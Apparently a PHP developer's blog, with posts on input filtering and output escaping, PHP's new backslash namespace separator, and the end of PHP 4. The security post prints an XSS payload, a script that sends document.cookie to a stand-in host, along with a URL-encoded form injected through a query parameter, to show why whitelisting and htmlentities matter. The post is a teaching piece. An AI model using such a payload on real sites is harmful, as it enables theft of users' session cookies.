Jan 29 2009

I’m currently working on cleaning up the sanitisation and validation libraries in our homegrown framework at Netbasic here, and I was given an excerpt from the Php|architect’s Zend PHP 5 Certification Study Guide – the Security chapter. The summary section really outlines a key point you should always bear in mind when writing any PHP code… filter input, escape output.

Filtering input is important, and it is recommended to do this using a “white list” approach – i.e. you specify a valid choice of values for a particular field – if it does not match then discard it. Consider this:

// Example 1
$value = $_GET["colour"];
echo "Your favourite colour is {$value}";

This first example shows lack of filtering. Potentially, as the study guide shows, the colour could be overridden and set to be:

<script>
document.location = 'http://myhackingsite.com/getcookies.php?cookies=' + document.cookie;
</script>

This small piece of Javascript would then pick up people’s cookies. Lets look at the second example…

// Example 2
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
echo "Your favourite colour is {$value}";

This piece of code is much safer (although not totally secure…). $value has been initialised. Although I ensure register_globals = Off where possible, there may be some hosts that have register_globals On. The “colour” $_GET value is checked against a white list, and if it does not match, it is not assigned. If $value is not initialised and register_globals was On, then someone could pass a query such as:


http://mywebsite.com/example.php?colour=notacolour&value=%3Cscript%3Edocument.

location+%3D+%27http%3A%2F%2Fmyhackingsite.com%2Fgetcookies.php%3Fcookies%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E

What would happen is that the “colour” argument would not match the white list, but value would be initialised with the above piece of cookie-collecting Javascript. An even safer version of this code is with escaped output:

// Example 3
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
$value = htmlentities($value);
echo "Your favourite colour is {$value}";

Even with register_globals On and $value uninitialised, the end user will just see the Javascript directly, rather than the browser parsing it.

Don’t forget, output isn’t limited to just outputting to the browser through echo or print – you need to think about storing data, such as in MySQL databases or in files. Thankfully, PHP provides database-specific escaping functions, such as mysql_real_escape_string.

There’s much more to this than just what I’ve explained, and the study guide goes into a bit more depth. I recommend you pick up a copy and read it, even if you’re not studying for a Zend certification.

Oct 29 2008

As this message states, the new seperator for namespaces in PHP will be a backslash (\). I’ve had a brief skim over the IRC log the message mentions, and the conversation is indeed interesting. Personally, having been converted to a full OOP PHP programmer, I would’ve voted for namespaces only in classes (as classes are all I ever use nowadays…).

Evidently there are too many problems using the Paamayim Nekudotayim due to scope, and static classes and whatnot, but I don’t understand why when real programming languages such as C++ manage it fine. I have to agree with “dmitry”, I think using a backslash is ugly, and double colon is much cleaner.

What does this mean for the PHP community? Well anyone currently using namespaces will have to fix their code, and anyone not using namespaces will have to get used to using the backslash separator. Of course this change is going to ruffle a fair few feathers – people will wonder what on earth possessed them to use the backslash instead of double colon when backslashes are so ugly, and double colon is so… well… standard I suppose.

As this Slashdot post shows:

  • Perl
use My::CPAN::Module qw();
my $instance = My::CPAN::Module->new("junk");
  • C#
System.Windows.Controls.Listbox box = new System.Windows.Controls.Listbox();
// or
using System.Windows.Controls;
ListBox box = new ListBox();
  • C++
ABC::bar();
// or
using namespace ABC;
bar();
  • The New PHP
$object_instance = new My\PEAR\Module("myvar");
// or
using My\Pear;
$object_instance = new Module("myvar");

I doubt people will stop using PHP though. I expect people will either not use namespaces (explicitly anyway – technically they’d just be writing in the global namespace), or get used to it. But then, one must think – what if there is a big backlash against this change and PHP is just a bubble waiting to be burst? I doubt that’d happen, but it’s interesting to wonder…

Aug 8 2008

Yes, today is the release of PHP 4.4.9, marking the death of PHP 4. No more work will be done to PHP 4. 99% of the time I’m using PHP 5 now anyway, so it won’t make a huge difference in my life. But then again, will it make a huge difference in anyone‘s life? Some web hosts are migrating to PHP5, but I believe a vast quantity of web hosts still use PHP4, and I don’t see that changing in a hurry. What about those still using code that isn’t PHP5-compatible. Thankfully, most PHP4 code can work straight off in PHP5, but there’s still the risk. The way I see it, every host should’ve started migrating to PHP5 long ago, with the option to use PHP4 or 5 (such as 1and1.co.uk, who default to PHP4, but have the option to use PHP5).

Read the rest of this entry »

Jul 10 2008

Just a quick one – with regards to my post about PHP4 dying, I’ve just seen on PHPDeveloper.org a blog post on the Developer Tutorials Blog about migrating from PHP4 to PHP5 for developers- check it out.

Jul 9 2008

PHP4 for me since starting at Netbasic has been a mere lifeless form of PHP that I used to get into web development. But reading this article reminded me that PHP4 will soon die.

Well, as I said recently, on a day for the PHP community dubbed as “8-8-8″ (referring to 8th August 2008), PHP4 will officially be halted. This means there will be no more development done for PHP4. Any new bugs will remain forever. Any developers still using PHP4 won’t get the support they used to. There won’t even be any security updates to seal up loopholes and hacks.

But on the upside, PHP5 will be the choice. We’re already on PHP 5.2.6 (stable), and the next version is well on the way. Now the article I linked to poses several questions:

  • What if in 2 months time, evil hackers will find a bug in PHP4 that is exploitable?
  • What if they write a spider that crawls the internet in search for applications that run PHP4?
  • What if they target all those sites with malicious code?
  • What if indeed there will be no fix for this exploit?
  • What are you going to do?

There’s a simple answer to all these questions :- people really need to upgrade to PHP5. It’s really that simple. For developers, I think there’s actually very little to do (the odd thing is listed in the PHP5 Migration Guide). My move from PHP4 to PHP5 was simple and very very pain free (perhaps I was lucky?). Personally, I think it’s the web hosts that need to get their bums in gear. Following my article about Newnet, they’ve actually started using PHP5 for new hosts, and are offering free migrations from PHP4 to the newer PHP5 UNIX servers, so good on them, I fully back Newnet 100% in this descision.

At the end of the day though, a day will come when web hosts really do NEED to upgrade, perhaps because of some horrific bug that will destroy the universe. If I were those web hosts, I’d do it sooner rather than later. But as is the way with some companies – they use the ethos “if it ain’t broke, don’t fix it”. I used to think that, but I’ve learnt recently that with some things, even if it ain’t broke, you can make it more secure, work faster and work better.

Thankfully, here at Netbasic, we use PHP5 already, so I’m happy as chips.